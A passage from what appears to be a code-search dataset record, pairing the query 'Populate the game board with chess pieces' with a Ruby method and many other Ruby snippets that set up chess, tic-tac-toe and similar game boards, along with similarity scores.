"def initialize\n\t\t@board=Hash.new \n\t\t(0..6).each{ |i|\n\t\t\t(0..6).each{ |j|\n\t\t\t\t@board[[i,j]]=Cell.new(0,0,\"\")\n\t\t\t}\n\t\t}\n\t\t#==== intitial cells\n\t\t@board[[1,1]].value=2\n\t\t@board[[2,3]].value=4\n\t\t@move_result=0\n\tend",
"def initialize_board\n b = {}\n (1..9).each {|pos| b[pos] = ' '}\n b\nend",
"def initialize(size)\n @board_size = size\n @board = []\n @board_size.times { @board << Array.new(@board_size, EMPTY_SYMBOL) }\n end",
"def initialize_board\n b = []\n 9.times { b << ' ' } \n b\nend",
"def build_board(board_length, board_height)\n (board_height).times do\n row = []\n (board_length).times do\n row << \" \"\n end\n @board << row\n end\n end",
"def initialize_board\n board = {}\n (1..9).each { |position| board[position] = ' ' }\n board\nend",
"def create_board\n board = []\n\n for x in 0..7\n board[x] = []\n for y in 0..7\n \t board[x] << Node.new(x,y)\n end\n end\n board\nend",
"def intialize_board()\n space = {}\n (1..9).each { |position| space[position] = ' ' }\n space\nend",
"def initialize_board\n board = {}\n (1..9).each {|position| board[position] = ' ' }\n board\nend",
"def new_round\n init_board()\n end",
"def initialize\r\n @board = Array.new(9, \" \") \r\n end",
"def initialize\n\t\treset_board\n\tend",
"def initialize_board\n board = {} #board is a empty hash \n (1..9).each {|position| board[position] = \" \"}\n board #will return a hash out\nend",
"def create_board\n\t@a1 = Cases.new(\"a1\", \" \") \n\t@a2 = Cases.new(\"a2\", \" \")\n\t@a3 = Cases.new(\"a3\", \" \")\n\t@b1 = Cases.new(\"b1\", \" \")\n\t@b2 = Cases.new(\"b2\", \" \")\n\t@b3 = Cases.new(\"b3\", \" \")\n\t@c1 = Cases.new(\"c1\", \" \")\n\t@c2 = Cases.new(\"c2\", \" \")\n\t@c3 = Cases.new(\"c3\", \" \")\n\n puts \" ________________________________________________________________________________________________________ \"\n puts \" | __ ___ __ ________ __ ________ ________ ___ ___ ________ | \"\n puts \" | l l l l l l l ______l l l l _____l l __ l l l l l l ______l | \"\n puts \" | l l l _ l l l l l__ l l l l l l l l l l l l l l__ | \"\n puts \" | l l_l l l l_l l l __l l l l l l l l l l l_l l_l l_l l l ___l | \"\n puts \" | l l l l l l_____ l l_____ l l_____ l l__l l l l l l l l l l_____ | \"\n puts \" | l___l l___l l________l l________l l________l l________l l__l l___l l__l l________l | \"\n puts \" |____________________________________________ TO ______________________________________________| \"\n puts \" | TIC TAC TOE | \"\n puts \" |_________________________________________________________________________________________________________| \"\n\n #On cree un Board et on definit ses 9 variables (voir Classe Board) comme etant la valeur de nos 9 cases, soit \" \"\n #on affiche un Board, qui sera vide\n #on cree un array avec toutes nos cases, qui sert a garder a jour les valeurs des cases au fur et a mesure de l'avancee du jeu\n\t@the_board = Board.new(@a1.position, @a2.position, @a3.position, @b1.position, @b2.position, @b3.position, @c1.position, @c2.position, @c3.position) \n\t@the_board.display \n\t@array = [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3] \n end",
"def make_board\n @board = []\n index = 0\n while index < @word.length\n @board << \"___ \"\n index += 1\n end\n return @board\n end",
"def setup_game\n name_player = set_name_player\n number_columns = set_number_columns\n number_rabbits = set_number_rabbits(number_columns)\n number_foxs = set_number_foxs(number_columns)\n\n board = build_board(number_columns)\n rabbit_collection = build_rabbit_collection(number_columns, number_rabbits)\n fox_collection = build_fox_collection(number_columns, number_foxs)\n\n\n [ board, name_player, number_columns, rabbit_collection, fox_collection ]\nend",
"def initialize\n @@BOARD_SIZE = 8\n @board = create_board\n @god_mode = false\n end",
"def new_game\n @board = Board.new\n player_select\n turn\n play_again\n end"
] | [
"0.8071314",
"0.8060438",
"0.77671295",
"0.7717324",
"0.7652754",
"0.7626589",
"0.7609917",
"0.75430745",
"0.7527639",
"0.7492653",
"0.7479873",
"0.7445992",
"0.7384504",
"0.73727214",
"0.73722184",
"0.7356272",
"0.7323176",
"0.7306449",
"0.7281446",
"0.72745",
"0.72698003",
"0.72219473",
"0.72066766",
"0.71781844",
"0.7171058",
"0.71673787",
"0.71591485",
"0.71529275",
"0.71358216",
"0.71172494",
"0.7103587",
"0.709925",
"0.7098745",
"0.7088185",
"0.70720583",
"0.70606655",
"0.7058419",
"0.70303744",
"0.7015956",
"0.69934434",
"0.6990579",
"0.6986985",
"0.6963002",
"0.69575995",
"0.69516546",
"0.695082",
"0.6946864",
"0.69423527",
"0.69249874",
"0.69155097",
"0.69138896",
"0.6906435",
"0.69005424",
"0.6896922",
"0.68762344",
"0.6874191",
"0.68643016",
"0.6849843",
"0.6849472",
"0.6844913",
"0.6831621",
"0.6824419",
"0.6822308",
"0.6816737",
"0.67982143",
"0.6794582",
"0.6785078",
"0.67794096",
"0.6779166",
"0.6773586",
"0.67695457",
"0.67598146",
"0.6747817",
"0.6747817",
"0.67394644",
"0.67388386",
"0.67366344",
"0.67222834",
"0.6718008",
"0.6718008",
"0.6711415",
"0.67092085",
"0.67033684",
"0.6702024",
"0.67013955",
"0.6686851",
"0.6681429",
"0.6680931",
"0.6677744",
"0.66706616",
"0.6661663",
"0.66420674",
"0.6641322",
"0.6638749",
"0.662325",
"0.6622753",
"0.6617624",
"0.6616861",
"0.66128993",
"0.66102505"
] | 0.80400443 | 2 |
Populate the game board with chess pieces | def populate
@board[7][0] = ChessPiece.new "w_rook_1", "\u2656"
@board[7][1] = ChessPiece.new "w_knight_1", "\u2658"
@board[7][2] = ChessPiece.new "w_bishop_1", "\u2657"
@board[7][3] = ChessPiece.new "w_queen", "\u2655"
@board[7][4] = ChessPiece.new "w_king", "\u2654"
@board[7][5] = ChessPiece.new "w_bishop_2", "\u2657"
@board[7][6] = ChessPiece.new "w_knight_2", "\u2658"
@board[7][7] = ChessPiece.new "w_rook_2", "\u2656"
@board[0][0] = ChessPiece.new "b_rook_1", "\u265C"
@board[0][1] = ChessPiece.new "b_knight_1", "\u265E"
@board[0][2] = ChessPiece.new "b_bishop_1", "\u265D"
@board[0][3] = ChessPiece.new "b_queen", "\u265B"
@board[0][4] = ChessPiece.new "b_king", "\u265A"
@board[0][5] = ChessPiece.new "b_bishop_2", "\u265D"
@board[0][6] = ChessPiece.new "b_knight_2", "\u265E"
@board[0][7] = ChessPiece.new "b_rook_2", "\u265C"
(0..7).each do |id|
@board[6][id] = ChessPiece.new "w_pawn_#{id+1}", "\u2659"
@board[1][id] = ChessPiece.new "b_pawn_#{id+1}", "\u265F"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def populate_board\n back_row = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n\n black_back_row = []\n back_row.each_with_index do |piece_class, j|\n black_back_row << piece_class.new(self, :black, [0, j])\n end\n board[0] = black_back_row\n \n black_front_row = []\n (0..7).each {|idx| black_front_row << Pawn.new(self, :black, [1, idx])}\n board[1] = black_front_row\n \n (2..5).each do |row|\n board[row] = Array.new(8) {NullPiece.instance} \n end\n \n white_front_row = []\n 8.times {|idx| white_front_row << Pawn.new(self, :white, [6, idx])}\n board[6] = white_front_row\n \n white_back_row = []\n back_row.each_with_index do |piece_class, j|\n white_back_row << piece_class.new(self, :white, [7, j])\n end\n board[7] = white_back_row\n end",
"def populate_board!\n # white pieces\n # creates the 8 pawn pieces across the board\n 8.times do |i|\n # sets game_id in Piece model to current id in Game\n # color is boolean - true for white, false for black\n Pawn.create(game_id: id, x_coord: i, y_coord: 1, color: true, captured: false)\n end\n # creates the 2 rook, knight, and bishop pieces on opposite sides of the board\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n\n Queen.create(game_id: id, x_coord: 3, y_coord: 0, color: true, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 0, color: true, captured: false)\n\n # black pieces\n 8.times do |i|\n Pawn.create(game_id: id, x_coord: i, y_coord: 6, color: false, captured: false)\n end\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n Queen.create(game_id: id, x_coord: 3, y_coord: 7, color: false, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 7, color: false, captured: false)\n end",
"def populate_board\n #the six rows get updated\n players.each do |player|\n rows = player == players[0] ? [ 0,1,2 ] : [ 5,6,7 ]\n piece_count = 0\n col = 0\n\n player.pieces.each do |piece|\n\n rows.shift if piece_count % 4 == 0 and piece_count != 0\n\n col_start = rows[0] % 2 == 1 ? 0 : 1\n col = 0 if (col_start == 0 || col_start == 1) && piece_count % 4 == 0\n\n piece.position = [col + col_start, rows[0]]\n squares[[col + col_start, rows[0]]] = piece\n\n col += 2\n piece_count += 1\n\n end\n\n end\n\n end",
"def populate_board(board)\n #Fills in the top and bottom rows\n [0, 7].each do |row|\n 4.times do |col|\n board[row][col] = create_piece(row, col)\n board[row][(7-col)] = create_piece(row, (7-col))\n end\n end\n\n #Fills in the pawns\n 8.times do |col|\n board[1][col] = BlackPawn.new(1, col)\n board[6][col] = WhitePawn.new(6, col)\n end\n\n board\n end",
"def populate_grid\n start_rows = { red: (0..2), black: (5..7) }\n\n 8.times do |x|\n 8.times do |y|\n [:red, :black].each do |color|\n if (x + y).even? && start_rows[color].include?(y)\n self[[x, y]] = Piece.new(color, [x, y], self)\n end\n end\n end\n end\n\n grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n puts \"x=#{x}, y=#{y}, cell.class=#{cell.class}\"\n end\n end\n end",
"def set_pieces\n # white pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 2, color: 'white', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 1, color: 'white', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 1, color: 'white', active: true)\n King.create(game_id: id, x_position: 5, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 1, color: 'white', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 1, color: 'white', active: true)\n # black pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 7, color: 'black', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 8, color: 'black', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 8, color: 'black', active: true)\n King.create(game_id: id, x_position: 5, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 8, color: 'black', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 8, color: 'black', active: true)\n end",
"def populate_board\n black = \"black\"\n white = \"white\"\n\n white_pawns = [\"A2\", \"B2\", \"C2\", \"D2\", \"E2\", \"F2\", \"G2\", \"H2\"]\n black_pawns = [\"A7\", \"B7\", \"C7\", \"D7\", \"E7\", \"F7\", \"G7\", \"H7\"]\n\n # create white pawns\n white_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(white, pos)\n end\n\n # create white pieces\n @board.nodes[\"E1\"].piece = create_king(white, \"E1\")\n @board.nodes[\"D1\"].piece = create_queen(white, \"D1\")\n @board.nodes[\"C1\"].piece = create_bishop(white, \"C1\")\n @board.nodes[\"F1\"].piece = create_bishop(white, \"F1\")\n @board.nodes[\"B1\"].piece = create_knight(white, \"B1\")\n @board.nodes[\"G1\"].piece = create_knight(white, \"G1\")\n @board.nodes[\"A1\"].piece = create_rook(white, \"A1\")\n @board.nodes[\"H1\"].piece = create_rook(white, \"H1\")\n\n # create black pawns\n black_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(black, pos)\n end\n\n # create black pieces\n @board.nodes[\"E8\"].piece = create_king(black, \"E8\")\n @board.nodes[\"D8\"].piece = create_queen(black, \"D8\")\n @board.nodes[\"C8\"].piece = create_bishop(black, \"C8\")\n @board.nodes[\"F8\"].piece = create_bishop(black, \"F8\")\n @board.nodes[\"B8\"].piece = create_knight(black, \"B8\")\n @board.nodes[\"G8\"].piece = create_knight(black, \"G8\")\n @board.nodes[\"A8\"].piece = create_rook(black, \"A8\")\n @board.nodes[\"H8\"].piece = create_rook(black, \"H8\")\n\n end",
"def populate_board\n\t\t8.times{|x|\t@board[x][6] = Pawn.new([x, 6], \"black\", @board)}\n\t\t@board[0][7] = Rook.new([0, 7], \"black\", @board)\t\n\t\t@board[1][7] = Knight.new([1, 7], \"black\", @board)\n\t\t@board[2][7] = Bishop.new([2, 7], \"black\", @board)\n\t\t@board[3][7] = Queen.new([3, 7], \"black\", @board)\n\t\t@board[4][7] = King.new([4, 7], \"black\", @board)\t\t\n\t\t@board[5][7] = Bishop.new([5, 7], \"black\", @board)\n\t\t@board[6][7] = Knight.new([6, 7], \"black\", @board)\n\t\t@board[7][7] = Rook.new([7, 7], \"black\", @board)\n\t\t\t\t\n\t\t 8.times{|x|\t@board[x][1] = Pawn.new([x, 1], \"white\", @board)}\n\t\t@board[0][0] = Rook.new([0, 0], \"white\", @board)\t\n\t\t@board[1][0] = Knight.new([1, 0], \"white\", @board)\n\t\t@board[2][0] = Bishop.new([2, 0], \"white\", @board)\n\t\t@board[3][0] = Queen.new([3, 0], \"white\", @board)\n\t\t@board[4][0] = King.new([4, 0], \"white\", @board)\t\t\n\t\t@board[5][0] = Bishop.new([5, 0], \"white\", @board)\n\t\t@board[6][0] = Knight.new([6, 0], \"white\", @board)\n\t\t@board[7][0] = Rook.new([7, 0], \"white\", @board)\n\tend",
"def setup_board\n @startup = true\n @board = @board.map{|col| col.map{|piece| Piece.new if piece.nil?}}\n clear_matches\n @startup = false\n @pieces_removed = 0\n end",
"def set_pieces\n\t\t(0..7).each do |row|\n\t\t\tcase row\n\t\t\twhen 0\n\t\t\t\tplace_special_pieces(row, :white)\n\t\t\twhen 1\n\t\t\t\tplace_pawns(row, :white)\n\t\t\twhen 6\n\t\t\t\tplace_pawns(row, :black)\n\t\t\twhen 7\n\t\t\t\tplace_special_pieces(row, :black)\n\t\t\tend\n\t\tend\n\tend",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def initialize_board\n # Building out white pieces\n (0..7).each do |x|\n Pawn.create(is_black: false, x_position: x, y_position: 1, game_id: id, user_id: user_id_white, status: 'active')\n end\n\n Rook.create(is_black: false, x_position: 0, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Rook.create(is_black: false, x_position: 7, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Knight.create(is_black: false, x_position: 1, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Knight.create(is_black: false, x_position: 6, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Bishop.create(is_black: false, x_position: 2, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Bishop.create(is_black: false, x_position: 5, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n King.create(is_black: false, x_position: 4, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Queen.create(is_black: false, x_position: 3, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n # Building out the black pieces\n (0..7).each do |x|\n Pawn.create(is_black: true, x_position: x, y_position: 6, game_id: id, user_id: user_id_black, status: 'active')\n end\n\n Rook.create(is_black: true, x_position: 0, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Rook.create(is_black: true, x_position: 7, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Knight.create(is_black: true, x_position: 1, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Knight.create(is_black: true, x_position: 6, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Bishop.create(is_black: true, x_position: 2, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Bishop.create(is_black: true, x_position: 5, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n King.create(is_black: true, x_position: 4, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Queen.create(is_black: true, x_position: 3, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n end",
"def fill_board\n\t\tfill_row_pieces(0, 'b')\n\t\tfill_row_pawn(1, 'b')\n\t\tfill_row_pieces(7, 'w')\n\t\tfill_row_pawn(6, 'w')\n\tend",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n\n (1..8).each do |row|\n (1..8).each do |col|\n\n # Place starting pieces on board\n if (1..3).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::RED)\n end\n\n @board[[row,col]] = Square.new(colors[0])\n\n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def setup_board\n (1..64).each do |location|\n @@piece_locations[location] = {\"type\" => \" \", \"number\" => nil, \"color\" => nil}\n end\n\n # Black Pieces\n @@piece_locations[1] = {\"type\" => \"rook\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[2] = {\"type\" => \"knight\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[3] = {\"type\" => \"bishop\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[4] = {\"type\" => \"queen\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[5] = {\"type\" => \"king\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[6] = {\"type\" => \"bishop\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[7] = {\"type\" => \"knight\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[8] = {\"type\" => \"rook\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n (1..8).each do |col|\n @@piece_locations[col + 8] = {\"type\" => \"pawn\", \"number\" => col, \"color\" => \"black\", \"moved\" => false}\n end\n\n # White Pieces\n @@piece_locations[57] = {\"type\" => \"rook\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[58] = {\"type\" => \"knight\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[59] = {\"type\" => \"bishop\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[60] = {\"type\" => \"queen\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[61] = {\"type\" => \"king\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[62] = {\"type\" => \"bishop\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[63] = {\"type\" => \"knight\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[64] = {\"type\" => \"rook\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n (1..8).each do |col|\n @@piece_locations[col + 48] = {\"type\" => \"pawn\", \"number\" => col, \"color\" => \"red\", \"moved\" => false}\n end\n end",
"def populate\n black = [\n Rook.new(:black, self, [0,0], \" ♜ \"),\n Knight.new(:black, self, [0,1], \" ♞ \"),\n Bishop.new(:black, self, [0,2], \" ♝ \"),\n Queen.new(:black, self, [0,3], \" ♛ \"),\n King.new(:black, self, [0,4], \" ♚ \"),\n Bishop.new(:black, self, [0,5], \" ♝ \"),\n Knight.new(:black, self, [0,6],\" ♞ \"),\n Rook.new(:black, self, [0,7], \" ♜ \")\n ]\n white = [\n Rook.new(:white, self, [7,0], \" ♖ \"),\n Knight.new(:white, self, [7,1], \" ♘ \"),\n Bishop.new(:white, self, [7,2], \" ♗ \"),\n Queen.new(:white, self, [7,3], \" ♕ \"),\n King.new(:white, self, [7,4], \" ♔ \"),\n Bishop.new(:white, self, [7,5], \" ♗ \"),\n Knight.new(:white, self, [7,6], \" ♘ \"),\n Rook.new(:white, self, [7,7], \" ♖ \")\n ]\n\n @grid.each_with_index do |row, i|\n row.each_with_index do |column, j|\n pos = [i, j]\n if i == 0\n self[pos]= black[j]\n @black_pieces << black[j]\n elsif i == 7\n self[pos]= white[j]\n @white_pieces << white[j]\n elsif i == 1\n black_pawn = Pawn.new(:black, self, pos, \" ♟ \")\n self[pos]= black_pawn\n @black_pieces << black_pawn\n elsif i == 6\n white_pawn = Pawn.new(:white, self, pos, \" ♙ \")\n self[pos] = white_pawn\n @white_pieces << white_pawn\n end\n end\n end\n\n @grid\n end",
"def build_pieces\n (1..8).each do |i|\n Pawn.new(2, i, \"white\") \n end\n Rook.new(1, 1, \"white\")\n Knight.new(1, 2, \"white\")\n Bishop.new(1, 3, \"white\")\n Queen.new(1, 4, \"white\")\n King.new(1, 5, \"white\")\n Bishop.new(1, 6, \"white\")\n Knight.new(1, 7, \"white\")\n Rook.new(1, 8, \"white\")\n (1..8).each do |i|\n Pawn.new(7, i, \"black\") \n end\n Rook.new(8, 1, \"black\")\n Knight.new(8, 2, \"black\")\n Bishop.new(8, 3, \"black\")\n Queen.new(8, 4, \"black\")\n King.new(8, 5, \"black\")\n Bishop.new(8, 6, \"black\")\n Knight.new(8, 7, \"black\")\n Rook.new(8, 8, \"black\")\n end",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n \n (1..8).each do |row|\n (1..8).each do |col|\n sq = Square.new(colors[0])\n\n # Place starting pieces on board\n if (1..3).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::RED)\n end\n \n @board[[row,col]] = sq\n \n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def set_pieces\n @pieces.each do |piece|\n y , x = piece.location\n @rows[y][x] = piece\n end\n end",
"def setup( )\n\t\t\t(\"a\"..\"h\").each do |f|\n\t\t\t\t@squares[\"#{f}2\"] = Chess::Pawn.new(self, \"#{f}2\", :white)\n\t\t\t\t@squares[\"#{f}7\"] = Chess::Pawn.new(self, \"#{f}7\", :black)\n\t\t\tend\n\t\t\t[\"a\", \"h\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Rook.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Rook.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"b\", \"g\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Knight.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Knight.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"c\", \"f\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Bishop.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Bishop.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t@squares[\"d1\"] = Chess::Queen.new(self, \"d1\", :white)\n\t\t\t@squares[\"d8\"] = Chess::Queen.new(self, \"d8\", :black)\n\t\t\t@squares[\"e1\"] = Chess::King.new(self, \"e1\", :white)\n\t\t\t@squares[\"e8\"] = Chess::King.new(self, \"e8\", :black)\n\t\tend",
"def populate_board!\n\n # Populate Pawns\n (0..7).each do |x|\n Pawn.create(x_coordinates: x, y_coordinates: 1, game_id: self.id, color: 'white', image: 'white-pawn.png', status: 'active') # White\n Pawn.create(x_coordinates: x, y_coordinates: 6, game_id: self.id, color: 'black', image: 'blk-pawn.png', status: 'active') # Black\n end\n\n # Populate Rook\n Rook.create(x_coordinates: 0, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 7, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 0, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n Rook.create(x_coordinates: 7, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n\n # Populate Knight\n Knight.create(x_coordinates: 1, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 6, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 1, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n Knight.create(x_coordinates: 6, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n\n # Populate Bishop\n Bishop.create(x_coordinates: 2, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 5, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 2, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n Bishop.create(x_coordinates: 5, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n\n # Populate Queen\n Queen.create(x_coordinates: 3, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-queen.png', status: 'active') # White\n Queen.create(x_coordinates: 3, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-queen.png', status: 'active') # Black\n\n # Populate King\n King.create(x_coordinates: 4, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-king.png', status: 'active') # White\n King.create(x_coordinates: 4, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-king.png', status: 'active') # Black\n end",
"def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end",
"def board_setup\n\t\tinitial_position = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\tspecial_position = [8,1]\n\t\tpawn_position = [7,2]\n\t\tinitial_color = [\"black\",\"white\"]\n\t\ti = 0\n\t\tx = 0\n\t\t#loops through ranks 8 and 1 setting each class piece in his corresponding position.\n\t\tspecial_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = initial_position[i]\n\t\t\t\t@board[letter+num.to_s].color = initial_color[x]\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\ti = 0\n\t\t\tx += 1\n\t\tend\n\n\t\ty = 0\n\t\t#loos through ranks 7 and 2 setting the pawn's pieces in his corresponding position.\n\t\tpawn_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = \"pawn\"\n\t\t\t\t@board[letter+num.to_s].color = initial_color[y]\n\t\t\tend\n\t\t\ty += 1\n\t\tend\n\tend",
"def assign_pieces(player)\n if player.num == 1\n piece_color = \"W\"\n else\n piece_color = \"B\"\n end\n\n @board.each do |row|\n row.each do |piece|\n \n if !piece.nil?\n if piece.color == piece_color\n player.pieces << piece\n piece.player = player\n end\n end\n end\n end \n end",
"def setup_board\r\n place_pawns\r\n place_bishops\r\n place_rooks\r\n place_knights\r\n place_queens\r\n place_kings\r\n end",
"def chess_board(board)\n pieza = [ \"T-\", \"H-\", \"B-\", \"Q-\", \"K-\", \"B-\", \"H-\", \"T-\" ]\n color = [\"W\", \"B\"]\n peon = [\"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\"]\n \n\n for i in 0..7\n for j in 0..7 \n if i == 0 \n (board[i][j] = pieza[j] + color[0])\n elsif i == 1 \n board[i][j] = peon[j] + color[0] \n elsif i == 6 \n board[i][j] = peon[j] + color[1] \n elsif i == 7 \n board[i][j] = pieza[j] + color[1] \n elsif i == 2..5 \n board[i][j] = \" * \" \n end \n end \n end\n board.each do |x|\n puts \"#{x}\"\n end \nend",
